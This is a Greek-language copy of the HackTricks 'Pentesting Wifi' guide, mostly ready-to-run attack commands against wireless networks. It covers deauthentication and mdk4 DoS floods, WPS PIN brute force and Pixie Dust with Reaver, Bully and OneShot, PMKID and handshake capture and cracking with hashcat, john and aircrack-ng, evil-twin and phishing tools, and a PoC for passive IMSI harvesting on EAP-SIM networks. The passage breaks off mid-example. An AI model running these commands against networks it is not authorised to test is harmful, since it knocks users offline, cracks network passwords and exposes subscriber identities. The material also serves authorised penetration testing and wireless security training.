Pentesting Wifi
Reading time: 40 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές εντολές Wifi
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
Εργαλεία
Hijacker & NexMon (Android εσωτερικό Wi-Fi)
Enable Nexmon Monitor And Injection On Android
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Εκτέλεση του airgeddon με docker
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
Μπορεί να εκτελέσει επιθέσεις Evil Twin, KARMA και Known Beacons και στη συνέχεια να χρησιμοποιήσει ένα phishing πρότυπο για να καταφέρει να αποκτήσει τον πραγματικό κωδικό πρόσβασης του δικτύου ή να αποσπάσει διαπιστευτήρια κοινωνικών δικτύων.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Αυτό το εργαλείο αυτοματοποιεί επιθέσεις WPS/WEP/WPA-PSK. Θα εκτελεί αυτόματα:
- Θέτει τη διεπαφή σε monitor mode
- Σαρώνει για πιθανά δίκτυα - και σας επιτρέπει να επιλέξετε το/τα θύμα(τα)
- Αν WEP - Εκτελεί επιθέσεις WEP
- Αν WPA-PSK
- Αν WPS: Pixie dust attack και η bruteforce επίθεση (προσοχή: η brute-force επίθεση μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν δοκιμάζει null PIN ή database/generated PINs.
- Προσπαθεί να καταγράψει το PMKID από το AP για να το crack-άρει
- Προσπαθεί να deauthenticate-άει clients του AP για να καταγράψει ένα handshake
- Εάν PMKID ή Handshake, προσπαθεί να κάνει bruteforce χρησιμοποιώντας top5000 passwords.
Περίληψη Επιθέσεων
- DoS
- Deauthentication/disassociation -- Αποσυνδέει όλους (ή ένα συγκεκριμένο ESSID/Client)
- Random fake APs -- Κρύβει δίκτυα, μπορεί να προκαλέσει crash σε scanners
- Overload AP -- Προσπαθεί να «κλείσει» το AP (συνήθως όχι πολύ χρήσιμο)
- WIDS -- Πειράζει το IDS
- TKIP, EAPOL -- Ορισμένες συγκεκριμένες επιθέσεις για DoS σε ορισμένα APs
- Cracking
- Crack WEP (πολλές εργαλεία και μέθοδοι)
- WPA-PSK
- WPS pin "Brute-Force"
- WPA PMKID bruteforce
- [DoS +] WPA handshake capture + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin (with or without DoS)
- Open Evil Twin [+ DoS] -- Χρήσιμο για να capture captive portal creds και/ή να πραγματοποιήσει LAN attacks
- WPA-PSK Evil Twin -- Χρήσιμο για network attacks αν γνωρίζετε το password
- WPA-MGT -- Χρήσιμο για να συλλέξει company credentials
- KARMA, MANA, Loud MANA, Known beacon
- + Open -- Χρήσιμο για να capture captive portal creds και/ή να πραγματοποιήσει LAN attacks
- + WPA -- Χρήσιμο για να συλλέξει WPA handshakes
DOS
Deauthentication Packets
Περιγραφή από here:.
Deauthentication attacks, μια διαδεδομένη μέθοδος στο Wi-Fi hacking, περιλαμβάνουν την πλαστογράφηση "management" frames για να αναγκάσουν τη διακοπή σύνδεσης συσκευών από ένα δίκτυο. Αυτά τα μη κρυπτογραφημένα πακέτα εξαπατούν τους clients ώστε να πιστέψουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους attackers να συλλέξουν WPA handshakes για cracking ή να διαταράξουν επίμονα τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, χρησιμοποιείται ευρέως και έχει σημαντικές επιπτώσεις για την ασφάλεια δικτύων.
Deauthentication using Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 σημαίνει deauthentication
- 1 είναι ο αριθμός των deauths που θα σταλούν (μπορείτε να στείλετε πολλαπλά αν θέλετε); 0 σημαίνει ότι θα σταλούνται συνεχώς
- -a 00:14:6C:7E:40:80 είναι η MAC διεύθυνση του access point
- -c 00:0F:B5:34:30:30 είναι η MAC διεύθυνση του client που θα γίνει deauthenticate; αν αυτό παραληφθεί τότε αποστέλλεται broadcast deauthentication (δεν δουλεύει πάντα)
- ath0 είναι το όνομα διεπαφής
Πακέτα Disassociation
Disassociation packets, παρόμοια με τα deauthentication packets, είναι ένας τύπος management frame που χρησιμοποιείται σε Wi‑Fi δίκτυα. Αυτά τα πακέτα χρησιμεύουν για να διακόπτουν τη σύνδεση μεταξύ μιας συσκευής (όπως laptop ή smartphone) και ενός access point (AP). Η κύρια διαφορά μεταξύ disassociation και deauthentication έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει deauthentication packets για να αφαιρέσει ρητά rogue συσκευές από το δίκτυο, τα disassociation packets συνήθως αποστέλλονται όταν το AP κλείνει, επανεκκινείται ή μετακινείται, καθιστώντας απαραίτητη την αποσύνδεση όλων των συνδεδεμένων κόμβων.
Αυτή η επίθεση μπορεί να εκτελεστεί με mdk4(mode "d"):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Περισσότερες επιθέσεις DOS από mdk4
Στο here.
ATTACK MODE b: Beacon Flooding
Στέλνει πλαίσια beacon για να εμφανίσει ψεύτικα APs στους πελάτες. Αυτό μερικές φορές μπορεί να προκαλέσει την πτώση ανιχνευτών δικτύου και ακόμα και οδηγών!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
Η αποστολή authentication frames σε όλα τα προσβάσιμα Access Points (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί clients. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας κάποια APs να παγώσουν ή ακόμη και να επανεκκινήσουν.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
Probing Access Points (APs) ελέγχει αν ένα SSID εμφανίζεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με το bruteforcing hidden SSIDs με ή χωρίς wordlist, βοηθά στον εντοπισμό και στην πρόσβαση σε κρυφά δίκτυα.
ATTACK MODE m: Michael Countermeasures Exploitation
Η αποστολή τυχαίων ή διπλότυπων πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει Michael Countermeasures σε TKIP APs, οδηγώντας σε προσωρινό κλείσιμο του AP διάρκειας ενός λεπτού. Αυτή η μέθοδος είναι μια αποδοτική τακτική επίθεσης DoS (Denial of Service).
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Το να πλημμυρίσετε ένα AP με EAPOL Start frames δημιουργεί fake sessions, κατακλύζοντας το AP και αποκλείοντας νόμιμους clients. Εναλλακτικά, η έγχυση fake EAPOL Logoff messages αποσυνδέει αναγκαστικά τους clients — και οι δύο μέθοδοι διαταράσσουν αποτελεσματικά την υπηρεσία δικτύου.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: Επιθέσεις για IEEE 802.11s δίκτυα mesh
Διάφορες επιθέσεις στη διαχείριση συνδέσεων και στη δρομολόγηση σε δίκτυα mesh.
ATTACK MODE w: WIDS Σύγχυση
Η σύνδεση clients σε πολλαπλούς κόμβους WDS ή σε ψεύτικους rogue APs μπορεί να χειραγωγήσει τα Intrusion Detection and Prevention Systems, δημιουργώντας σύγχυση και πιθανή κατάχρηση του συστήματος.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
Ένας packet fuzzer που διαθέτει διάφορες πηγές πακέτων και ένα ολοκληρωμένο σύνολο τροποποιητών για τον χειρισμό πακέτων.
Airggedon
Airgeddon προσφέρει τις περισσότερες από τις επιθέσεις που προτείνονται στα προηγούμενα σχόλια:
WPS
WPS (Wi‑Fi Protected Setup) απλοποιεί τη διαδικασία σύνδεσης συσκευών σε ένα router, επιταχύνοντας και διευκολύνοντας τη ρύθμιση για δίκτυα κρυπτογραφημένα με WPA ή WPA2 Personal. Είναι αναποτελεσματικό απέναντι στην εύκολα παραβιαζόμενη ασφάλεια WEP. Το WPS χρησιμοποιεί ένα 8-ψήφιο PIN, επικυρωμένο σε δύο μισά, καθιστώντας το ευάλωτο σε brute-force επιθέσεις λόγω του περιορισμένου αριθμού συνδυασμών (11.000 πιθανότητες).
WPS Bruteforce
Υπάρχουν 2 κύρια εργαλεία για αυτή την ενέργεια: Reaver και Bully.
- Reaver έχει σχεδιαστεί για να είναι μια στιβαρή και πρακτική επίθεση κατά του WPS, και έχει δοκιμαστεί σε μεγάλη ποικιλία access points και υλοποιήσεων WPS.
- Bully είναι μια νέα υλοποίηση της WPS brute force επίθεσης, γραμμένη σε C. Έχει αρκετά πλεονεκτήματα σε σχέση με τον αρχικό κώδικα Reaver: λιγότερες εξαρτήσεις, βελτιωμένη απόδοση μνήμης και CPU, σωστή διαχείριση του endianness, και ένα πιο ανθεκτικό σύνολο επιλογών.
Η επίθεση εκμεταλλεύεται την ευπάθεια του WPS PIN, ιδίως την έκθεση των πρώτων τεσσάρων ψηφίων και το ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την brute-force επίθεση. Ωστόσο, μέτρα άμυνας ενάντια σε brute-force επιθέσεις, όπως το μπλοκάρισμα MAC addresses επιθετικών δραστών, απαιτούν MAC address rotation για να συνεχιστεί η επίθεση.
Αφού αποκτήσει το WPS PIN με εργαλεία όπως το Bully ή το Reaver, ο επιτιθέμενος μπορεί να αποκαλύψει το WPA/WPA2 PSK, εξασφαλίζοντας επίμονη πρόσβαση στο δίκτυο.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
Αυτή η βελτιωμένη προσέγγιση στοχεύει τα WPS PINs χρησιμοποιώντας γνωστές ευπάθειες:
- Προ-ανακαλυφθέντα PINs: Χρησιμοποιήστε μια βάση δεδομένων με γνωστά PINs συνδεδεμένα με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία octets των MAC-addresses με πιθανά PINs για αυτούς τους κατασκευαστές.
- Αλγόριθμοι Δημιουργίας PIN: Αξιοποιήστε αλγόριθμους όπως ComputePIN και EasyBox, που υπολογίζουν WPS PINs βάσει του MAC-address του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον ένα device ID, προσθέτοντας ένα επίπεδο στη διαδικασία δημιουργίας του PIN.
WPS Pixie Dust attack
Dominique Bongard ανακάλυψε ένα σφάλμα σε μερικά Access Points (APs) σχετικά με τη δημιουργία των μυστικών κωδικών, γνωστών ως nonces (E-S1 και E-S2). Εάν αυτά τα nonces μπορούν να εξαχθούν, το cracking του WPS PIN του AP γίνεται εύκολο. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα "κλειδιά" για το άνοιγμα του "χρηματοκιβωτίου" που περιέχει το WPS PIN. Περισσότερα εδώ: here.
Με απλά λόγια, το πρόβλημα είναι ότι κάποια APs δεν χρησιμοποιούσαν αρκετά τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διαδικασία σύνδεσης. Αυτό καθιστά το PIN ευάλωτο στο να μαντευτεί από εξωτερικό του δικτύου (offline brute force attack).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Αν δεν θέλετε να αλλάξετε τη συσκευή σε monitor mode, ή αν οι reaver
και bully
έχουν κάποιο πρόβλημα, μπορείτε να δοκιμάσετε OneShot-C. Αυτό το εργαλείο μπορεί να εκτελέσει Pixie Dust attack χωρίς να απαιτείται εναλλαγή σε monitor mode.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
Ορισμένα κακοσχεδιασμένα συστήματα επιτρέπουν ακόμη σε ένα Null PIN (ένα κενό ή μη υπάρχον PIN) να παρέχει πρόσβαση, κάτι που είναι μάλλον ασυνήθιστο. Το εργαλείο Reaver μπορεί να ελέγξει για αυτή την ευπάθεια, σε αντίθεση με το Bully.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Όλες οι προτεινόμενες επιθέσεις WPS μπορούν να εκτελεστούν εύκολα χρησιμοποιώντας airgeddon.
- Τα 5 και 6 σας επιτρέπουν να δοκιμάσετε το προσαρμοσμένο PIN σας (αν έχετε κάποιο)
- Τα 7 και 8 εκτελούν την Pixie Dust attack
- Το 13 σας επιτρέπει να δοκιμάσετε το NULL PIN
- Τα 11 και 12 θα ανακτήσουν τα PINs που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων και θα παράγουν πιθανά PINs χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι;)
- Τα 9 και 10 θα δοκιμάσουν κάθε πιθανό PIN
WEP
Τόσο ευπαθής και σχεδόν ανενεργό στις μέρες μας. Απλά να ξέρετε ότι το airgeddon έχει μια WEP επιλογή με όνομα "All-in-One" για να επιτεθεί σε αυτόν τον τύπο προστασίας. Περισσότερα εργαλεία προσφέρουν παρόμοιες επιλογές.
WPA/WPA2 PSK
PMKID
In 2018, hashcat revealed a new attack method, unique because it only needs one single packet and doesn't require any clients to be connected to the target AP—just interaction between the attacker and the AP.
Many modern routers add an optional field to the first EAPOL frame during association, known as Robust Security Network
. This includes the PMKID
.
As the original post explains, the PMKID is created using known data:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Δεδομένου ότι το "PMK Name" είναι σταθερό, γνωρίζουμε το BSSID του AP και του station, και το PMK
είναι ταυτόσημο με αυτό από ένα πλήρες 4-way handshake, hashcat μπορεί να χρησιμοποιήσει αυτές τις πληροφορίες για να crack the PSK και να ανακτήσει το passphrase!
Για να συλλέξετε αυτές τις πληροφορίες και να bruteforce τοπικά τον κωδικό, μπορείτε να κάνετε:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
Οι PMKIDs captured θα εμφανιστούν στην console και επίσης saved μέσα στο _ /tmp/attack.pcap_
Τώρα, μετατρέψτε το capture σε μορφή hashcat/john και crack it:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Σημειώστε ότι η μορφή ενός σωστού hash περιέχει 4 μέρη, όπως: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838
Αν το δικό σας περιέχει μόνο 3 μέρη, τότε είναι μη έγκυρο (the PMKID capture wasn't valid).
Σημειώστε ότι hcxdumptool
επίσης καταγράφει handshakes (κάτι σαν αυτό θα εμφανιστεί: MP:M1M2 RC:63258 EAPOLTIME:17091
). Μπορείτε να μετατρέψετε τα handshakes σε μορφή hashcat/john χρησιμοποιώντας cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
Έχω παρατηρήσει ότι κάποια handshakes που καταγράφηκαν με αυτό το εργαλείο δεν μπορούσαν να σπάσουν ακόμα και γνωρίζοντας τον σωστό κωδικό. Συνιστώ να καταγράφετε handshakes και με τον παραδοσιακό τρόπο αν είναι δυνατό, ή να καταγράψετε πολλά από αυτά χρησιμοποιώντας αυτό το εργαλείο.
Καταγραφή handshake
Μια επίθεση σε WPA/WPA2 δίκτυα μπορεί να εκτελεστεί καταγράφοντας ένα handshake και προσπαθώντας να crack τον κωδικό offline. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και της BSSID σε έναν συγκεκριμένο channel. Εδώ είναι ένας απλοποιημένος οδηγός:
- Εντοπίστε την BSSID, τον channel, και έναν connected client του δικτύου-στόχου.
- Χρησιμοποιήστε
airodump-ng
για να παρακολουθήσετε την κίνηση του δικτύου στον καθορισμένο channel και BSSID, ελπίζοντας να καταγράψετε ένα handshake. Η εντολή θα μοιάζει ως εξής:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- Για να αυξήσετε την πιθανότητα να καταγράψετε ένα handshake, αποσυνδέστε προσωρινά τον client από το δίκτυο για να τον αναγκάσετε σε re-authentication. Αυτό μπορεί να γίνει χρησιμοποιώντας την εντολή
aireplay-ng
, η οποία στέλνει πακέτα deauthentication στον client:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Σημειώστε ότι καθώς ο client αποσυνδέθηκε (deauthenticated) μπορεί να προσπαθήσει να συνδεθεί σε διαφορετικό AP ή, σε άλλες περιπτώσεις, σε διαφορετικό δίκτυο.
Μόλις στο airodump-ng
εμφανιστούν πληροφορίες handshake, αυτό σημαίνει ότι το handshake καταγράφηκε και μπορείτε να σταματήσετε την ακρόαση:
Μόλις το handshake καταγραφεί, μπορείτε να το crack με aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Έλεγχος αν υπάρχει handshake σε αρχείο
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
Αν αυτό το εργαλείο εντοπίσει ένα μη ολοκληρωμένο handshake ενός ESSID πριν από το ολοκληρωμένο, δεν θα εντοπίσει το έγκυρο.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA Enterprise (MGT)
Σε εταιρικά δίκτυα WiFi θα συναντήσετε διάφορες μεθόδους αυθεντικοποίησης, η κάθε μία παρέχει διαφορετικά επίπεδα ασφάλειας και δυνατότητες διαχείρισης. Όταν χρησιμοποιείτε εργαλεία όπως airodump-ng
για να ελέγξετε την κίνηση του δικτύου, μπορεί να παρατηρήσετε αναγνωριστικά για αυτούς τους τύπους αυθεντικοποίησης. Μερικές κοινές μέθοδοι περιλαμβάνουν:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- Αυτή η μέθοδος υποστηρίζει hardware tokens και one-time passwords μέσα σε EAP-PEAP. Σε αντίθεση με MSCHAPv2, δεν χρησιμοποιεί peer challenge και στέλνει τους κωδικούς σε plaintext προς το access point, θέτοντας κίνδυνο για downgrade attacks.
- EAP-MD5 (Message Digest 5):
- Περιλαμβάνει την αποστολή του MD5 hash του κωδικού από τον client. Δεν συνιστάται λόγω ευπάθειας σε dictionary attacks, έλλειψης server authentication και αδυναμίας παραγωγής session-specific WEP keys.
- EAP-TLS (Transport Layer Security):
- Χρησιμοποιεί client-side και server-side certificates για authentication και μπορεί να παράγει δυναμικά user-based και session-based WEP keys για την ασφάλεια της επικοινωνίας.
- EAP-TTLS (Tunneled Transport Layer Security):
- Παρέχει mutual authentication μέσω ενός κρυπτογραφημένου tunnel, μαζί με μέθοδο για παράγωγη δυναμικών, ανά-χρήστη, ανά-σύνδεση WEP keys. Απαιτεί μόνο server-side certificates, ενώ οι clients χρησιμοποιούν credentials.
- PEAP (Protected Extensible Authentication Protocol):
- Λειτουργεί παρόμοια με το EAP δημιουργώντας ένα TLS tunnel για προστατευμένη επικοινωνία. Επιτρέπει τη χρήση ασθενέστερων authentication protocols πάνω από το EAP λόγω της προστασίας που προσφέρει το tunnel.
- PEAP-MSCHAPv2: Συχνά αναφέρεται απλώς ως PEAP, συνδυάζει τον ευπαθή μηχανισμό challenge/response του MSCHAPv2 με ένα προστατευτικό TLS tunnel.
- PEAP-EAP-TLS (or PEAP-TLS): Παρόμοιο με το EAP-TLS αλλά ξεκινάει ένα TLS tunnel πριν την ανταλλαγή πιστοποιητικών, προσφέροντας ένα επιπλέον επίπεδο ασφάλειας.
You can find more information about these authentication methods here and here.
Username Capture
Μελετώντας https://tools.ietf.org/html/rfc3748#page-27 φαίνεται ότι αν χρησιμοποιείτε EAP τα "Identity" messages πρέπει να υποστηρίζονται, και το username θα σταλεί σε clear στα "Response Identity" μηνύματα.
Ακόμα και χρησιμοποιώντας μία από τις πιο ασφαλείς μεθόδους authentication: PEAP-EAP-TLS, είναι δυνατό να συλλάβετε το username που στέλνεται στο πρωτόκολλο EAP. Για να το κάνετε, capturάρετε μια authentication επικοινωνία (ξεκινήστε airodump-ng
σε ένα channel και wireshark
στην ίδια διεπαφή) και φιλτράρετε τα packets με eapol
.
Μέσα στο πακέτο "Response, Identity", θα εμφανιστεί το username του client.
Anonymous Identities
Η απόκρυψη ταυτότητας υποστηρίζεται τόσο από EAP-PEAP όσο και από EAP-TTLS. Στο πλαίσιο ενός WiFi δικτύου, ένα EAP-Identity request συνήθως ξεκινάει το access point (AP) κατά τη διαδικασία association. Για να προστατευτεί η ανωνυμία των χρηστών, η απάντηση από τον EAP client στη συσκευή του χρήστη περιέχει μόνο τις απαραίτητες πληροφορίες που χρειάζεται ο αρχικός RADIUS server για να επεξεργαστεί το request. Αυτή η ιδέα απεικονίζεται στα παρακάτω σενάρια:
- EAP-Identity = anonymous
- Σε αυτό το σενάριο, όλοι οι χρήστες χρησιμοποιούν το ψευδώνυμο "anonymous" ως αναγνωριστικό χρήστη. Ο αρχικός RADIUS server λειτουργεί είτε ως EAP-PEAP είτε ως EAP-TTLS server, υπεύθυνος για τη διαχείριση του server-side του πρωτοκόλλου PEAP ή TTLS. Η εσωτερική (protected) μέθοδος authentication στη συνέχεια είτε διαχειρίζεται τοπικά είτε ανακατευθύνεται σε έναν απομακρυσμένο (home) RADIUS server.
- EAP-Identity = anonymous@realm_x
- Στην περίπτωση αυτή, χρήστες από διαφορετικά realms κρύβουν τις ταυτότητές τους ενώ δηλώνουν τα αντίστοιχα realms τους. Αυτό επιτρέπει στον αρχικό RADIUS server να προωθεί τα EAP-PEAP ή EAP-TTLS requests προς RADIUS servers στα home realms τους, τα οποία λειτουργούν ως PEAP ή TTLS server. Ο αρχικός RADIUS server λειτουργεί αποκλειστικά ως RADIUS relay node.
- Εναλλακτικά, ο αρχικός RADIUS server μπορεί να λειτουργεί ως EAP-PEAP ή EAP-EAP-TTLS server και είτε να διαχειριστεί την protected μέθοδο authentication είτε να την προωθήσει σε άλλον server. Αυτή η επιλογή διευκολύνει τη ρύθμιση ξεχωριστών πολιτικών για διάφορα realms.
Στο EAP-PEAP, μόλις το TLS tunnel εγκαθιδρυθεί μεταξύ του PEAP server και του PEAP client, ο PEAP server ξεκινά ένα EAP-Identity request και το μεταφέρει μέσα από το TLS tunnel. Ο client απαντά σε αυτό το δεύτερο EAP-Identity request στέλνοντας μια EAP-Identity response που περιέχει την πραγματική ταυτότητα του χρήστη μέσω του κρυπτογραφημένου tunnel. Αυτή η προσέγγιση αποτρέπει αποτελεσματικά την αποκάλυψη της πραγματικής ταυτότητας του χρήστη σε οποιονδήποτε ακούει παθητικά την 802.11 κίνηση.
Το EAP-TTLS ακολουθεί μια ελαφρώς διαφορετική διαδικασία. Με το EAP-TTLS, ο client συνήθως αυθεντικοποιείται χρησιμοποιώντας PAP ή CHAP, προστατευμένα από το TLS tunnel. Στην περίπτωση αυτή, ο client συμπεριλαμβάνει ένα User-Name attribute και είτε ένα Password είτε CHAP-Password attribute στο αρχικό TLS μήνυμα που αποστέλλεται μετά την εγκατάσταση του tunnel.
Ανεξάρτητα από το επιλεγμένο πρωτόκολλο, ο PEAP/TTLS server αποκτά γνώση της πραγματικής ταυτότητας του χρήστη αφού έχει εγκατασταθεί το TLS tunnel. Η πραγματική ταυτότητα μπορεί να αναπαρασταθεί ως user@realm ή απλά user. Αν ο PEAP/TTLS server είναι επίσης υπεύθυνος για την authentication του χρήστη, τότε πλέον κατέχει την ταυτότητα του χρήστη και προχωρά με τη μέθοδο authentication που προστατεύεται από το TLS tunnel. Εναλλακτικά, ο PEAP/TTLS server μπορεί να προωθήσει ένα νέο RADIUS request στον home RADIUS server του χρήστη. Αυτό το νέο RADIUS request παραλείπει το στρώμα πρωτοκόλλου PEAP ή TTLS. Σε περιπτώσεις όπου η protected μέθοδος authentication είναι EAP, τα εσωτερικά EAP μηνύματα μεταφέρονται στον home RADIUS server χωρίς το wrapper EAP-PEAP ή EAP-TTLS. Το User-Name attribute του εξερχόμενου RADIUS μηνύματος περιέχει την πραγματική ταυτότητα του χρήστη, αντικαθιστώντας το anonymous User-Name από το εισερχόμενο RADIUS request. Όταν η protected μέθοδος authentication είναι PAP ή CHAP (υποστηρίζεται μόνο από TTLS), το User-Name και άλλα authentication attributes που εξαχθούν από το TLS payload αντικαθιστούν στο εξερχόμενο RADIUS μήνυμα το anonymous User-Name και τα TTLS EAP-Message attributes που υπήρχαν στο εισερχόμενο RADIUS request.
For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm
SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)
Η SIM-based Wi‑Fi authentication χρησιμοποιώντας EAP‑SIM/EAP‑AKA πάνω από 802.1X μπορεί να leak το μόνιμο αναγνωριστικό συνδρομητή (IMSI) σε cleartext κατά τη φάση της unauthenticated identity, εάν η εγκατάσταση δεν εφαρμόζει pseudonyms/protected identities ή ένα TLS tunnel γύρω από το inner EAP.
Where the leak happens (high level):
- 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
- Authenticator sends EAP-Request/Identity.
- Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
- Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
- Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.
Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy
Click to expand
# 1) Enable monitor mode
airmon-ng start wlan0
# 2) Optional: lock channel to the target BSS
airodump-ng wlan0mon --essid <SSID>
# 3) Capture 802.1X/EAP frames
# Wireshark display filters:
# eap || eapol
# (identity specifically): eap.code == 2 && eap.type == 1
# Kismet: add source wlan0mon; enable 802.1X/EAP views
# tcpdump (pcap capture):
# tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap
# 4) Wait for a device to auto-connect to the SSID
# 5) Inspect the first EAP-Response/Identity frame
# Expected: ASCII NAI containing IMSI, e.g.
